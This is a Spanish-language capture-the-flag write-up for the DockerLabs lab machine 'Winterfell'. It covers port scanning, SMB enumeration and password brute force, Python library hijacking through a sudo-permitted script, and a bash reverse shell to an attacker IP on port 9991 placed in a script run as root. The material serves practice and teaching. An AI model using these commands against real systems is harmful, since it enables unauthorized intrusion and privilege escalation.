← cd ../writeups

Writeup · DockerLabs

Winterfell

Enumeración de SMB y de la web, credenciales expuestas y una cadena de escaladas con sudo hasta llegar a root.

Plataforma
DockerLabs
Sistema
Linux
Dificultad
Fácil
Fecha
2025
IP objetivo
172.17.0.2

Herramientas

  • Nmap
  • enum4linux
  • Dirb
  • smbclient
  • NetExec
  • Python

Técnicas

  • Enumeración SMB
  • Fuzzing web
  • Fuerza bruta de credenciales
  • Python library hijacking
  • Abuso de sudo

Ruta de ataque

  1. 01Nmap
  2. 02enum4linux + Dirb
  3. 03Credenciales en /dragon
  4. 04SMB como jon
  5. 05SSH como jon
  6. 06Python hijacking → aria
  7. 07sudo → daenerys
  8. 08Reverse shell → root

Reconocimiento

Antes de realizar una tarea de Pentesting, se debe hacer un reconocimiento de los activos disponibles en la red. Para esto, primero verificamos que la máquina esté encendida y qué servicios tiene corriendo, simplemente haciendo un ping:

terminal
ping 172.17.0.2 -c 3

image

Escaneo de puertos

Luego de verificar que la máquina se encuentra encendida, se procede a realizar un escaneo de puertos para identificar los servicios que están corriendo en la máquina. Para esto, se utiliza la herramienta Nmap:

terminal
nmap -p- --open  172.17.0.2 -vvv -oG allPorts

Guardamos el resultado en formato grepeable para poder utilizar la herramienta que copia solo los puertos abiertos y luego realizar un escaneo más profundo.

image

Ahora escaneamos más a fondo solo los puertos abiertos de la máquina:

terminal
nmap -p22,80,139,445 -sCVT -Pn 172.17.0.2 -vvv -oN Targeted 

image

Enumeración

Para poder obtener más información, se utiliza la herramienta enum4linux, la cual nos permite obtener información de los usuarios, grupos, políticas de contraseñas, recursos compartidos, etc.

terminal
enum4linux -a 172.17.0.2

image

Como se puede observar, obtuvimos distintos usuarios, con los cuales se puede aplicar fuerza bruta para intentar obtener las contraseñas. Al no poder encontrarlas por fuerza bruta, se procede a buscar en la web haciendo fuzzing con la herramienta dirb, para intentar encontrar algún archivo o directorio interesante.

terminal
dirb http://172.17.0.2

Se encuentra un directorio llamado "dragon", donde se pueden observar datos interesantes que podrían ser contraseñas.

image

También se encuentra un recurso compartido llamado "shared", al cual se puede intentar acceder para ver si contiene información sensible. Al tener los usuarios reconocidos, se prueban esas credenciales contra el servicio SMB en la siguiente fase.

terminal
smbclient -L 172.17.0.2 -N 

image

Explotación

Ahora intentamos acceder a SMB con el usuario "jon" y con las posibles contraseñas guardadas como payload (las guardé como users.txt porque pensé que podían ser usuarios, pero en realidad son contraseñas).

terminal
netexec smb 172.17.0.2 -U jon -P ./users.txt

image

Una vez dentro del recurso compartido, con el comando:

terminal
smbclient //172.17.0.2/shared -U jon

Encontramos un archivo llamado "protección del reino", el cual descargamos y revisamos su contenido.

image

image

Como se puede ver, hay un mensaje cifrado, el cual claramente es base64. Procedemos a ver qué dice:

image

Ahora usamos esta contraseña para entrar por SSH con el usuario "jon".

terminal
ssh jon@172.17.0.2

Escalada de privilegios

Vemos que existe un mensaje oculto para Jon, el cual leemos y dice lo siguiente:

image

Al usar el comando "sudo -l" vemos que podemos ejecutar un script de Python para encriptar un mensaje cualquiera como jon o aria. En este script se utiliza la librería hashlib, donde uno puede crear un archivo con ese nombre y poner un código malicioso para obtener una shell como aria.

python
import os
os.system("/bin/bash")

Luego se ejecuta el script:

terminal
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py

Y obtenemos la shell como aria, donde podemos ver la bandera de usuario.

image

Ahora hacemos un "sudo -l" y vemos que podemos usar los siguientes comandos como daenerys:

image

Buscando entre los comandos que podemos usar, vemos que daenerys tiene un mensaje para que aria lo pueda leer.

image

Una vez dentro del directorio de daenerys, usamos el comando "sudo -l" y vemos que se puede ejecutar una shell como root.

image

Se edita el archivo .shell.sh con la IP de la máquina atacante y con el puerto 9991 nos ponemos en escucha. De esta forma podemos obtener una reverse shell como root.

El código que se utiliza es:

terminal
#!/bin/bash
bash -i >& /dev/tcp/192.168.100.119/9991 0>&1

De esta forma obtenemos acceso a la máquina víctima como root.

image